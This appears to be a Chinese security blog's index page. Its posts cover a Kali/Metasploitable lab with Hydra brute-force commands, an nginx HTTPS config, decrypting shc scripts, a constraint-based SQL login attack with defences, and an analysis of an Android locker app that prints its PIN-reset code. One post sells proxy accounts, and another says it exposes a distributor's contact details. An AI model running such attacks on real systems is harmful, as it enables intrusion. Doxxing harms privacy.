Kali渗透测试演练Metasploitable靶机(附详细word文档+乌云_vmware_201606)

Kali渗透测试演练Metasploitable靶机

准备工作:

VM虚拟机(http://www.vmware.com/cn.html

Kalihttps://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/

Metasploitable靶机(https://sourceforge.net/projects/metasploitable/

要求Kali和靶机在同一个Lan

在开始工作前都确认一一下是否在同一个Lan段,分别登录Kali和靶机使用ifconfig 命令查看

注意:Metasploitable的默认账号、密码是:msfadmin:msfadminKali的默认是root:toor

1.png
第一阶段:扫描阶段,工具 namp 

命令:隐蔽扫描:nmap -sS 192.168.209.138


端口爆破:FTPSSH

工具:Hydra

备用字典:

爆破FTP

hydra -L  /root/Desktop/user.txt  -P  /root/Desktop/pass.txt ftp://192.168.209.138

爆破ssh

hydra -L  /root/Desktop/user.txt  -P  /root/Desktop/pass.txt 192.168.209.138 ssh

通过23端口telnet登录进系统

图片过多,我就不一一上传了,都在文档里面,主要包括以下的测试列表,初学者可以测试体验:

  • 端口爆破:FTP、SSH等
  • 利用metasploit进行端口渗透等
  • 8180——-Apache Tomcat弱口令等

Kali渗透测试演练Metasploitable靶机.docx 

百度网盘链接: https://pan.baidu.com/s/1o8HcuAA 有什么问题的可以留言或者是邮件

乌云_vmware_201606点击查看原图


Mrxn 发布于 2017-1-28 02:18

嘿嘿,私自建立VPN,抓起来

上周末就看到工信部的公告了:工信部:未经批准不得自建或租用VPN,只是一直没有时间来写,刚好今天把https折腾好了,选择了Let's encrypt.有我慢慢道来.

d8fc866.jpg

以下是通知全文:


工业和信息化部关于清理规范互联网网络接入服务市场的通知

工信部信管函[2017]32号


各省、自治区、直辖市通信管理局,中国信息通信研究院,中国电信集团公司、中国移动通信集团公司、中国联合网络通信集团有限公司、中国广播电视网络有限公司、中信网络有限公司,各互联网数据中心业务经营者、互联网接入服务业务经营者、内容分发网络业务经营者:


近年来,网络信息技术日新月异,云计算、大数据等应用蓬勃发展,我国互联网网络接入服务市场面临难得的发展机遇,但无序发展的苗头也随之显现,亟需整治规范。为进一步规范市场秩序,强化网络信息安全管理,促进互联网行业健康有序发展,工业和信息化部决定自即日起至2018年3月31日,在全国范围内对互联网网络接入服务市场开展清理规范工作。现将有关事项通知如下:


一、目标任务


依法查处互联网数据中心(IDC)业务、互联网接入服务(ISP)业务和内容分发网络(CDN)业务市场存在的无证经营、超范围经营、“层层转租”等违法行为,切实落实企业主体责任,加强经营许可和接入资源的管理,强化网络信息安全管理,维护公平有序的市场秩序,促进行业健康发展。


二、工作重点


(一)加强资质管理,查处非法经营


1. 各通信管理局要对本辖区内提供IDC、ISP、CDN业务的企业情况进行摸底调查,杜绝以下非法经营行为:


(1)无证经营。即企业未取得相应的电信业务经营许可证,在当地擅自开展IDC、ISP、CDN等业务。


(2)超地域范围经营。即企业持有相应的电信业务经营许可证,业务覆盖地域不包括本地区,却在当地部署IDC机房及服务器,开展ISP接入服务等。


(3)超业务范围经营。即企业持有电信业务经营许可证,但超出许可的业务种类在当地开展IDC、ISP、CDN等业务。


(4)转租转让经营许可证。即持有相应的电信业务经营许可证的企业,以技术合作等名义向无证企业非法经营电信业务提供资质或资源等的违规行为。


2. 在《电信业务分类目录(2015年版)》实施前已持有IDC许可证的企业,若实际已开展互联网资源协作服务业务或CDN业务,应在2017年3月31日之前,向原发证机关书面承诺在2017年年底前达到相关经营许可要求,并取得相应业务的电信经营许可证。


未按期承诺的,自2017年4月1日起,应严格按照其经营许可证规定的业务范围开展经营活动,不得经营未经许可的相关业务。未按承诺如期取得相应电信业务经营许可的,自2018年1月1日起,不得经营该业务。


(二)严格资源管理,杜绝违规使用


各基础电信企业、互联网网络接入服务企业对网络基础设施和IP地址、带宽等网络接入资源的使用情况进行全面自查,切实整改以下问题:


1. 网络接入资源管理不到位问题。各基础电信企业应加强线路资源管理,严格审核租用方资质和用途,不得向无相应电信业务经营许可的企业和个人提供用于经营IDC、ISP、CDN等业务的网络基础设施和IP地址、带宽等网络接入资源。


2. 违规自建或使用非法资源问题。IDC、ISP、CDN企业不得私自建设通信传输设施,不得使用无相应电信业务经营许可资质的单位或个人提供的网络基础设施和IP地址、带宽等网络接入资源。


3. 层层转租问题。IDC、ISP企业不得将其获取的IP地址、带宽等网络接入资源转租给其他企业,用于经营IDC、ISP等业务。


4. 违规开展跨境业务问题。未经电信主管部门批准,不得自行建立或租用专线(含虚拟专用网络VPN)等其他信道开展跨境经营活动。基础电信企业向用户出租的国际专线,应集中建立用户档案,向用户明确使用用途仅供其内部办公专用,不得用于连接境内外的数据中心或业务平台开展电信业务经营活动。


(三)落实相关要求,夯实管理基础


贯彻落实《工业和信息化部关于进一步规范因特网数据中心(IDC)业务和因特网接入服务(ISP)业务市场准入工作的通告》(工信部电管函[2012]552号,以下简称《通告》)关于资金、人员、场地、设施、技术方案和信息安全管理的要求,强化事前、事中、事后全流程管理。


1. 2012年12月1日前取得IDC、ISP许可证的企业,应参照《通告》关于资金、人员、场地、设施、技术方案和信息安全管理等方面的要求,建设相关系统,通过评测,并完成系统对接工作。


当前尚未达到相关要求的企业,应在2017年3月31日之前,向原发证机关书面承诺在2017年年底前达到相关要求,通过评测,并完成系统对接工作。未按期承诺或者未按承诺如期通过评测完成系统对接工作的,各通信管理局应当督促相应企业整改。


其中,各相关企业应按照《关于切实做好互联网信息安全管理系统建设与对接工作的通知》、《关于通报全国增值IDC/ISP企业互联网信息安全管理系统对接情况的函》和《互联网信息安全管理系统使用及运行管理办法(试行)》(工信厅网安〔2016〕135号)要求,按期完成互联网信息安全管理系统建设、测评及系统对接工作。未按期完成的,企业2017年电信业务经营许可证年检不予通过。


2. 新申请IDC(互联网资源协作服务)业务经营许可证的企业需建设ICP/IP地址/域名信息备案系统、企业接入资源管理平台、信息安全管理系统,落实IDC机房运行安全和网络信息安全要求,并通过相关评测。


3. 新申请CDN业务经营许可证的企业需建设ICP/IP地址/域名信息备案系统、企业接入资源管理平台、信息安全管理系统,落实网络信息安全要求,并通过相关评测。


4. 现有持证IDC企业申请扩大业务覆盖范围或在原业务覆盖范围新增机房、业务节点的,需要在新增范围内达到《通告》关于IDC机房运行安全和网络信息安全管理的要求,并通过相关评测。


5. 现有持证ISP(含网站接入)企业申请扩大业务覆盖范围的,需要在新增业务覆盖地区内达到《通告》关于网络信息安全管理的要求,并通过相关评测。


6. 现有持证CDN企业申请扩大业务覆盖范围或在原业务覆盖范围增加带宽、业务节点的,需要在新增范围内达到《通告》关于网络信息安全管理的要求,并通过相关评测。


三、保障措施


(一)政策宣贯引导,做好咨询服务


各通信管理局要利用各种方式做好政策宣贯和解读工作,公布电话受理相关举报和解答企业问题咨询,引导企业按照要求合法开展经营活动。中国信息通信研究院要做好相关评测支撑工作,协助部和各通信管理局做好政策宣贯、举报受理、企业问题解答等工作。


(二)全面开展自查,自觉清理整顿


各基础电信企业集团公司要组织下属企业全面自查,统一业务规程和相关要求,从合同约束、用途复查、违规问责等全流程加强规范管理,严防各类接入资源违规使用;对存在问题的要立即予以改正,并追究相关负责人责任。


各IDC、ISP、CDN企业要落实主体责任,按照本通知要求全面自查清理,及时纠正各类违规行为,确保经营资质合法合规,网络设施和线路资源使用规范,加强各项管理系统建设并通过评测。


(三)加强监督检查,严查违规行为


各通信管理局加强对企业落实情况的监督检查,发现违规问题要督促企业及时整改,对拒不整改的企业要依法严肃查处;情节严重的,应在年检工作中认定为年检不合格,将其行为依法列入企业不良信用记录,经营许可证到期时依法不予续期,并且基础电信企业在与其开展合作、提供接入服务时应当重点考虑其信用记录。部将结合信访举报、舆情反映等情况适时组织开展监督抽查。


(四)完善退出机制,做好善后工作


对未达到相关许可要求或被列入因存在违规行为被列入不良信用记录的企业,不得继续发展新用户。发证机关督促相关企业在此期间按照《电信业务经营许可管理办法》有关规定做好用户善后工作。向发证机关提交经营许可证注销申请的,发证机关应依法注销该企业的IDC、ISP经营许可证。


(五)完善信用管理,加强人员培训


积极发挥第三方机构优势,研究建立IDC/ISP/CDN企业信用评价机制,从基础设施、服务质量、网络和信息安全保障能力等多维度综合评定,引导企业重视自身信用状况、完善管理制度建设、规范市场经营行为。各通信管理局要加强对相关从业人员的技能培训,不断提高从业人员的业务素质和能力水平。


四、工作要求


(一)提高认识,加强组织领导


开展互联网网络接入服务市场规范清理工作是加强互联网行业管理和基础管理的重要内容,对夯实管理基础、促进行业健康有序发展具有重要意义。各相关单位要指定相关领导牵头负责,加强组织保障,抓好贯彻落实。


(二)分工协作,落实各方责任


各通信管理局、基础电信企业集团公司、互联网网络接入服务企业要落实责任,按照本通知要求,制定工作方案,明确任务分工、工作进度和责任,细化工作、责任到人,确保本次规范清理工作各项任务按期完成。


(三)加强沟通,定期总结通报


各通信管理局、各基础电信企业集团公司要加强沟通协作,及时总结工作经验,每季度末向部(信息通信管理局)报送工作进展情况,发生重大问题随时报部。部(信息通信管理局)将建立情况通报制度,并定期向社会公示规范清理工作进展情况。


工业和信息化部

2017年1月17日


工信部:回答几个有关 VPN 严管的问题

《通知》显示,外贸企业、跨国企业因办公自用等原因,需要通过专线等方式跨境联网时,可以向依法设置国际通信出入口局的电信业务经营者租用,《通知》的相关规定不会对其正常运转造成影响。


以下为工信部答媒体问全文:


问:《通知》出台的背景情况是什么?为何要出台这样一个政策?


答:近年来,我国云计算、大数据等应用蓬勃发展,以互联网数据中心业务(IDC)、互联网接入服务业务(ISP)和内容分发网络业务(CDN)为代表的互联网网络接入服务市场面临难得的发展机遇,但无证经营、无序发展的苗头也随之显现,层层转租、违规自建网络基础设施等带来的“黑带宽”、“下水道”等问题不容忽视,既破坏了正常的市场秩序,损害了广大用户的合法权益,也给国家网络和信息安全带来隐患。


在此背景下,我部出台了《关于清理规范互联网网络接入服务市场的通知》,在全国范围内开展清理规范工作,依法查处无证经营、超范围经营、“层层转租”等违法行为,切实落实企业主体责任,加强经营许可和接入资源的管理,强化网络信息安全管理,维护公平有序的市场秩序,促进行业健康发展。


问:《通知》开展的清理规范工作的重点是什么?


答:本次清理规范工作将在以下三方面开展重点工作:一是加强资质管理,重点查处无证经营和超范围经营等非法经营行为,督促企业合法持证开展经营活动;二是严格资源管理,重点打击“层层转租”等违规行为,清理网络接入服务市场存在的“黑带宽”、“下水道”;三是落实相关要求,夯实管理基础,推动接入服务企业加强技术手段建设,完成各项评测工作。


问:《通知》提出,未经电信主管部门批准,不得自行建立和租用专线(含虚拟专用网络VPN)等其他信道开展跨境经营活动。这是否会对外贸企业、跨国企业的正常运转造成影响?


答:《通知》关于跨境开展经营活动的规定,主要的依据是《国际通信出入口局管理办法》(原信息产业部令第22号),规范的对象是未经电信主管部门批准,无国际通信业务经营资质的企业或个人,租用国际专线或VPN,私自开展跨境的电信业务经营活动。外贸企业、跨国企业因办公自用等原因,需要通过专线等方式跨境联网时,可以向依法设置国际通信出入口局的电信业务经营者租用,《通知》的相关规定不会对其正常运转造成影响。


好了,废话完了...

下面说说我的看法哈,我为了确认一下,去百度搜索了一下,基本上没有了...国内嘛,响应速度那是杠杠的!所以呢,想用VPN的就只有那所谓的合法的企业才能开设了,就像卖盐一样,你不合法不能卖!嘿嘿,私自建立VPN者,抓起来!buguo,我们还有小飞机可以愉快的爬墙啊,哈哈.不过不能嚣张,一嚣张估计也死得快...毕竟练GFW都可以建立的国度,想要封锁小飞机也不是不能够实现的...我们自求多福别把小飞机搞死了吧!不然又得寻找另外的方法,很蛋疼的.

关于部署https,我比较推荐表哥的github地址:https://github.com/xdtianyu/scripts/tree/master/lets-encrypt.借助别人的py脚本一键部署,分分钟搞定https,还是免费的!加入crontab 每月自动更新,麻麻再也不用担心我的https部署了,下面附上几个部署https可能用得着的地址,算是我的笔记吧:

Mozilla火狐的ssl部署之服务器配置推荐方案:https://mozilla.github.io/server-side-tls/ssl-config-generator/

CSR文件在线生成工具:https://csr.chinassl.net/generator-csr.html

野卡证书(免费的泛域名)申请地址:https://assl.loovit.net/

下面贴出我的nginx配置证书给各位参考:

server {
    listen 80 ;
    listen [::]:80 ;
    # 将所有80端口的http通过301跳转到https://mrxn.net.
    #如果是主域名没有www,就不用第三个server的配置了.然后改一下第二个server_name 为mrxn.net就OK.
    # Redirect all HTTP requests to HTTPS with a 301 Moved Permanently response.
    return 301 https://mrxn.net$request_uri;
}
server {
    listen 443 ssl http2;
    listen [::]:443 ssl http2;
    ssl on;
    # certs sent to the client in SERVER HELLO are concatenated in ssl_certificate
    ssl_certificate /Your-crt-pwd/www.chained.crt;
    ssl_certificate_key /Your-key-pwd/mrxn.net.key;
    ssl_session_timeout 1d;
    ssl_session_cache shared:SSL:50m;
    ssl_session_tickets off;
    ssl_prefer_server_ciphers on;
    # HSTS (ngx_http_headers_module is required) (15768000 seconds = 6 months)
    add_header Strict-Transport-Security max-age=15768000;
    server_name mrxn.net;
    index index.html index.htm index.php default.html default.htm default.php;
    root  /Your-webroot-pwd/; 
    .......Your--other--config........
}
server {
    listen 443 ssl http2;
    listen [::]:443 ssl http2;
    ssl on;
    # certs sent to the client in SERVER HELLO are concatenated in ssl_certificate
    ssl_certificate /Your-crt-pwd/www.chained.crt;
    ssl_certificate_key /Your-key-pwd/mrxn.net.key;
    ssl_session_timeout 1d;
    ssl_session_cache shared:SSL:50m;
    ssl_session_tickets off;
    ssl_prefer_server_ciphers on;
    #将https://mrxn.net跳转到https://mrxn.net
    server_name mrxn.net;
    return 301 https://mrxn.net$request_uri;
}
关于配置https或者是服务器有什么问题的可以先搜索一下:https://mrxn.net/index.php?keyword=https 善用搜索!

不会的再咨询我哈,有空会为你们解答的.我们下回见!

标签: https

Mrxn 发布于 2017-1-26 08:20

破解shc加密过的二进制脚本,此处以破解一个云免脚本为例

首先简单的介绍一下shc:

shc是一个专业的加密shell脚本的工具.它的作用是把shell脚本转换为一个可执行的二进制文件,这个办法很好的解决了脚本中含有IP、密码等不希望公开的问题.

今天逛一个博客看见了他的一篇文章说的关于破解云免脚本的,评论里面很多人说破解不了骚逼汪的云免脚本,我就是试试而已.哈哈

Google一下就找到了在youtube上的一个视频: UnSHc - decrypt shc *.sh.x bash script

然后在作者的博客和github找到了:Unshc脚本.一键破解,很方便,在此记录一下:

首先未破解时是二进制打开是这样:2017-01-23-32.jpg

然后克隆Unshc脚本到本地:clone.jpg

然后赋予脚本的执行权限后就可以看到相应使用方法:unshc-use.jpg

直接破解:2017-01-23-23.png

破解后的:decrypt.jpg

Unshc 作者github和博客:

https://github.com/yanncam/UnSHc

https://www.asafety.fr/unshc-the-shc-decrypter/

利用好搜索.事半功倍! 下回见!


Mrxn 发布于 2017-1-23 12:23

我想说点事儿我还想

第一:偶然发现,斗破苍穹居然做成Q版人物动画片了...

时间真快啊,看了更新的两集,感触良多,上高中时就在追土豆的作品.不过动画片(腾旭视频有)看起来画面感更强,但是始终觉得没有小说看起来那么吸引人,也或许是因为所处的环境和现在过去的心态不一样了吧.人嘛,总是会成长的.然后呢,就有有个想法了,再看一遍斗破苍穹.哈哈-_-|| 为此下载了一个多看,不为啥就因为它的WLAN传书方便啊,我就可以用电脑把从网上下载下来的小说直接导入手机了,就不用花钱去买了.-_-,是因为我穷啊..哈哈

第二:怎么今年这么冷!

依稀记得去年的冬天我是两件衣服一条薄裤=_=| ,如今套上棉服,棉裤,坐在电脑前依然感觉冷...冻腿,又没有暖气.嗯,我想是锻炼太少了.哈哈

第三:我准备在小范围内出售我的{过}番羽{滤}土啬{过}账{}号,

备注:我用的是SSR,跨平台支持,稳定,良好(因为自用-_-哈哈).我只卖给有需要的朋友,禁止滥用,因为你与服务器的连接都有统计的,别想滥用,正常使用,看视频,都可以的,不要下载大文件,比如一次性下载好几个G的那种镜像文件...我的小水管承受不起,正常浏览网页,看视频,youtube,twitter,facebook,Google等等这些都似乎很easy的...有需要的可以考虑一下加我企鹅,1451657099.备明来意,SSR.谢谢.

ps:服务器放哪里一个月流量也是放着.我这里只要不滥用,设备三个,流量不限制.只打算收最多10个人,人多了不能保证质量.价格等人齐了一起商量.保证不坑人.

免责申明


用户以各种方式使用本软件(包括但不限于修改使用、直接使用、通过第三方使用)的过程中,不得以任何方式利用本软件直接或间接从事违反中国法律、以及社会公德的行为。软件的使用者需对自身行为负责,因使用软件引发的一切纠纷,由使用者承担全部法律及连带责任。作者不承担任何法律及连带责任。


对免责声明的解释、修改及更新权均属于作者本人所有。


Mrxn 发布于 2017-1-11 07:52

【转载】基于约束的SQL攻击

前言

值得庆幸的是如今开发者在构建网站时,已经开始注重安全问题了。绝大部分开发者都意识到SQL注入漏洞的存在,在本文我想与读者共同去探讨另一种与SQL数据库相关的漏洞,其危害与SQL注入不相上下,但却不太常见。接下来,我将为读者详细展示这种攻击手法,以及相应的防御策略。

注意:本文不是讲述SQL注入攻击

背景介绍

最近,我遇到了一个有趣的代码片段,开发者尝试各种方法来确保数据库的安全访问。当新用户尝试注册时,将运行以下代码:

<?php
// Checking whether a user with the same username exists $username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT *
          FROM users
          WHERE username='$username'";
$res = mysql_query($query, $database); if($res) { if(mysql_num_rows($res) > 0) { // User exists, exit gracefully
    .
    .
  } else { // If not, only then insert a new entry
    $query = "INSERT INTO users(username, password)
              VALUES ('$username','$password')";
    .
    .
  }
} 

使用以下代码验证登录信息:

<?php
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT username FROM users
          WHERE username='$username'
              AND password='$password' ";
$res = mysql_query($query, $database); if($res) { if(mysql_num_rows($res) > 0){
      $row = mysql_fetch_assoc($res); return $row['username'];
  }
} return Null; 

安全考虑:

  • 过滤用户输入参数了吗? — 完成检查

  • 使用单引号(’)来增加安全性了吗? — 完成检查

按理说应该不会出错了啊?

然而,攻击者依然能够以任意用户身份进行登录!

攻击手法

在谈论这种攻击手法之前,首先我们需要了解几个关键知识点。

  1. 在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。

    SELECT * FROM users WHERE username='vampire     '; 

    但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。

  2. 在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。

现在,让我们建立一个测试数据库来演示具体攻击过程。

vampire@linux:~$ mysql -u root -p
mysql> CREATE DATABASE testing; Query OK, 1 row affected (0.03 sec) mysql> USE testing; Database changed 

接着创建一个数据表users,其包含username和password列,并且字段的最大长度限制为25个字符。然后,我将向username字段插入“vampire”,向password字段插入“my_password”。

mysql> CREATE TABLE users ( ->   username varchar(25),
    ->   password varchar(25)
    -> );
Query OK, 0 rows affected (0.09 sec)
mysql> INSERT INTO users
    -> VALUES('vampire', 'my_password');
Query OK, 1 row affected (0.11 sec)
mysql> SELECT * FROM users;
+----------+-------------+
| username | password    |
+----------+-------------+
| vampire  | my_password |
+----------+-------------+ 1 row in set (0.00 sec) 

为了展示尾部空白字符的修剪情况,我们可以键入下列命令:

mysql> SELECT * FROM users
    -> WHERE username='vampire       '; +----------+-------------+ | username | password    | +----------+-------------+ | vampire  | my_password | +----------+-------------+ 1 row in set (0.00 sec) 

现在我们假设一个存在漏洞的网站使用了前面提到的PHP代码来处理用户的注册及登录过程。为了侵入任意用户的帐户(在本例中为“vampire”),只需要使用用户名“vampire[许多空白符]1”和一个随机密码进行注册即可。对于选择的用户名,前25个字符应该只包含vampire和空白字符,这样做将有助于绕过检查特定用户名是否已存在的查询。

mysql> SELECT * FROM users
    -> WHERE username='vampire                   1';
Empty set (0.00 sec) 

需要注意的是,在执行SELECT查询语句时,SQL是不会将字符串缩短为25个字符的。因此,这里将使用完整的字符串进行搜索,所以不会找到匹配的结果。接下来,当执行INSERT查询语句时,它只会插入前25个字符。

mysql> INSERT INTO users(username, password)
    -> VALUES ('vampire                   1', 'random_pass');
Query OK, 1 row affected, 1 warning (0.05 sec)
mysql> SELECT * FROM users
    -> WHERE username='vampire';
+---------------------------+-------------+
| username                  | password    |
+---------------------------+-------------+
| vampire                   | my_password |
| vampire                   | random_pass |
+---------------------------+-------------+ 2 rows in set (0.00 sec) 

很好,现在我们检索“vampire”的,将返回两个独立用户。注意,第二个用户名实际上是“vampire”加上尾部的18个空格。现在,如果使用用户名“vampire”和密码“random_pass”登录的话,则所有搜索该用户名的SELECT查询都将返回第一个数据记录,也就是原始的数据记录。这样的话,攻击者就能够以原始用户身份登录。这个攻击已经在MySQL和SQLite上成功通过测试。我相信在其他情况下依旧适用。

防御手段

毫无疑问,在进行软件开发时,需要对此类安全漏洞引起注意。我们可采取以下几项措施进行防御:

  1. 将要求或者预期具有唯一性的那些列加上UNIQUE约束。实际上这是一个涉及软件开发的重要规则,即使你的代码有维持其完整性的功能,也应该恰当的定义数据。由于’username’列具有UNIQUE约束,所以不能插入另一条记录。将会检测到两个相同的字符串,并且INSERT查询将失败。

  2. 最好使用’id’作为数据库表的主键。并且数据应该通过程序中的id进行跟踪

  3. 为了更加安全,还可以用手动调整输入参数的限制长度(依照数据库设置)

注:

最好讲MySQL设置成宽松模式,set @@sql_mode=ANSI;即可,还有就是注册时,一般的这种非法的用户名是不能注册的吧。。。不过还是又利用空间的。

文章出自:https://dhavalkapil.com/blogs/SQL-Attack-Constraint-Based/


Mrxn 发布于 2017-1-6 07:31

分析一个安卓锁机APP

其实这个样本是我在论坛上别人的求助帖子里看到的,就下载下来看一下:


  • 首先这个软件大小就不对,45KB!其次是看在安装界面,注意右下角的不是【安装】而是【激活】,正常的软件安装都是显示安装。再看安装时系统的提醒,此软件需要的权限:
  • 清除所有数据,恢复出厂设置;
  • 更改屏幕解锁密码;
  • 设置密码规则;
  • 监视屏幕解锁次数;
  • 锁定屏幕;这几条看着怎么都不想常见的APP安装时获取的权限吧

step.png


我们是测试嘛!真正在安装遇见这种APP时,请一定慎重!点击激活后,就是锁屏画面咯:解锁.png

当然,图中的密码,计算方式是逆向此APP后得出的算法而已,接下来我就分析一下;

首先是打开我们的Android逆向工具:Android killer,载入程序:

12345.png

然后我们是 java的开发工具查看java源码,图中的小红圈图标就是,打开后可以看到程序的结构和其中的密码设置算法(非常简单,就是取随机数加上设定的值):

1234.png

其中关键的密码算法就是这段:

super.onCreate();
    this.pass = (()(Math.random() * 100000000));
    long l = this.pass + 100;
    Long localLong = new Long(l);
    this.passw = localLong;
    DU localDU1 = new DU("flower");
    this.des = localDU1;

其中的passw就是锁屏上的所谓序列号,解锁密码就是这个序列号加上 100,到这还没完,因为输入这个后,重启开机还得输入程序改变设置的pin码,在程序里面可以很清除的看到:

123.png


public class MyAdmin extends DeviceAdminReceiver
{
  @Override
  public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)
  {
    String str = Integer.toString(2580);
    getManager(paramContext).lockNow();
    getManager(paramContext).resetPassword(str, 0);
    return super.onDisableRequested(paramContext, paramIntent);
  }

DeviceAdminReceiver就是安卓的设备管理器,通过这个设置的pin码,刚刚前面讲了,程序在安装时就获取了这个权限,所以在后面的卸载中也需要用到设备管理器才可以卸载的。接下来说一下怎么卸载:

首先我们在重启后需要输入刚刚从源码里分析得到儿pin码:2580,输入后就解锁进入桌面了:1231.png1212.png


注意:卸载的时候需要取消激活设备管理器,这时候还要在输入一次pin值,完了以后再确认一下是否卸载,去设置-应用,看看有没有该应用,有可能隐藏为系统应用。

xiez.png

quxiao.pngshebei.png

最后,就是这个程序的传播者,他说他是这个程序的开发者,简直可笑。。。曝光他:

2b.jpg15775701007.jpg

曝光他的QQ,手机号就行了,至于名字,地址等等就不暴露了,毕竟还是个中学生。。。希望他能够走向正途吧!

我们下回见! Mrxn 04/1/2017




Mrxn 发布于 2017-1-4 07:05

个人资料

    blogger

    Mrxn

    一个关注网络安全,热爱黑客技术的好青年!

搜索

最新评论